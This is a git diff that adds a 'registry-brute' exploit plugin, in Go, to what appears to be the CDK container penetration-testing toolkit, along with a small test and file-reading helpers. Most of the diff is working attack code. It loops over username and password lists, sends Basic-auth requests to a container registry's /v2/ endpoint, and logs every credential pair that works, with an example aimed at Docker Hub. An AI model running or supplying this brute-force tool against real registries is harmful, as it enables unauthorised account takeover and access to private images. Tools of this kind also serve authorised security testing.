diff --git a/pkg/exploit/image_registry_brute.go b/pkg/exploit/image_registry_brute.go
new file mode 100644
index 0000000..5741d90
--- /dev/null
+++ b/pkg/exploit/image_registry_brute.go
@@ -0,0 +1,108 @@
+// +build !no_image_registry_brute
+
+package exploit
+
+import (
+	"fmt"
+	"log"
+	"net/http"
+	"strings"
+
+	b64 "encoding/base64"
+
+	"github.com/cdk-team/CDK/pkg/cli"
+	"github.com/cdk-team/CDK/pkg/plugin"
+	"github.com/cdk-team/CDK/pkg/util"
+)
+
+// plugin interface
+type RegistryBruteS struct{}
+
+func (p RegistryBruteS) Desc() string {
+	return "To container image registry, brute force the accounts and passwords cracking. Usage: ./cdk registry-brute <registry-url> <username|file> <password|file>. Example: ./cdk registry-brute https://index.docker.io/ root,admin /tmp/passwordfile."
+}
+
+func normalizeInput(input string) []string {
+
+	var inputList []string
+
+	// support username/password list file
+	if util.FileExist(input) {
+		inputList, err := util.ReadLines(input)
+		if err != nil {
+			log.Fatalf("%s read error, %v", input, err)
+		}
+		return inputList
+	}
+
+	// support input format like: username or username,username1,username2
+	inputList = strings.Split(input, ",")
+
+	return inputList
+}
+
+func checkLogin(url string, username string, password string) bool {
+
+	login := fmt.Sprintf("%s:%s", username, password)
+	sEnc := b64.StdEncoding.EncodeToString([]byte(login))
+	authorizationHeader := fmt.Sprintf("Basic %s", sEnc)
+
+	req, err := http.NewRequest("GET", url, nil)
+	if err != nil {
+		log.Printf("http.NewRequest error: %v\n", err)
+		return false
+	}
+
+	client := &http.Client{}
+	req.Header.Set("Authorization", authorizationHeader)
+	res, err := client.Do(req)
+	if err != nil {
+		log.Printf("client.Do error: %v\n", err)
+		return false
+	}
+
+	if res.StatusCode == 200 {
+		return true
+	} else {
+		return false
+	}
+
+}
+
+func (p RegistryBruteS) Run() bool {
+
+	args := cli.Args["<args>"].([]string)
+	if len(args) != 3 {
+		log.Println("invalid input args.")
+		log.Fatal(p.Desc())
+	}
+	imageRegistryURL := args[0]
+	usernameInput := args[1]
+	passwordInput := args[2]
+
+	usernameList := normalizeInput(usernameInput)
+	passwordList := normalizeInput(passwordInput)
+	v2URL := fmt.Sprintf("%sv2/", imageRegistryURL)
+
+	log.Printf("user dict length: %d.\n", len(usernameList))
+	log.Printf("password dict length: %d.\n", len(passwordList))
+
+	for _, username := range usernameList {
+		for _, password := range passwordList {
+			if checkLogin(v2URL, username, password) {
+				log.Printf("Account: %s:%s is available.\n", username, password)
+				// run next account/username
+				break
+			}
+		}
+	}
+
+	log.Println("End!")
+	return false
+
+}
+
+func init() {
+	exploit := RegistryBruteS{}
+	plugin.RegisterExploit("registry-brute", exploit)
+}
diff --git a/pkg/exploit/image_registry_brute_test.go b/pkg/exploit/image_registry_brute_test.go
new file mode 100644
index 0000000..13cb394
--- /dev/null
+++ b/pkg/exploit/image_registry_brute_test.go
@@ -0,0 +1,14 @@
+// +build !no_image_registry_brute
+
+package exploit
+
+import (
+	"fmt"
+	"testing"
+)
+
+func TestNormalizeInput(t *testing.T) {
+
+	fmt.Printf("%v\n", normalizeInput("root"))
+
+}
diff --git a/pkg/util/file_io.go b/pkg/util/file_io.go
index ae17e5a..a536cd3 100644
--- a/pkg/util/file_io.go
+++ b/pkg/util/file_io.go
@@ -1,6 +1,7 @@
 package util
 
 import (
+	"bufio"
 	"fmt"
 	"io/ioutil"
 	"log"
@@ -18,6 +19,32 @@ func IsDirectory(path string) bool {
 	return fileInfo.IsDir()
 }
 
+// ReadLines reads a whole file into memory
+// and returns a slice of its lines.
+// from https://stackoverflow.com/questions/5884154/read-text-file-into-string-array-and-write
+func ReadLines(path string) ([]string, error) {
+	file, err := os.Open(path)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	var lines []string
+	scanner := bufio.NewScanner(file)
+	for scanner.Scan() {
+		lines = append(lines, scanner.Text())
+	}
+	return lines, scanner.Err()
+}
+
+func FileExist(path string) bool {
+	fileInfo, err := os.Stat(path)
+	if os.IsNotExist(err) {
+		return false
+	}
+	return !fileInfo.IsDir()
+}
+
 func IsSoftLink(FilePath string) bool {
 	fileInfo, err := os.Lstat(FilePath)
 	if err != nil {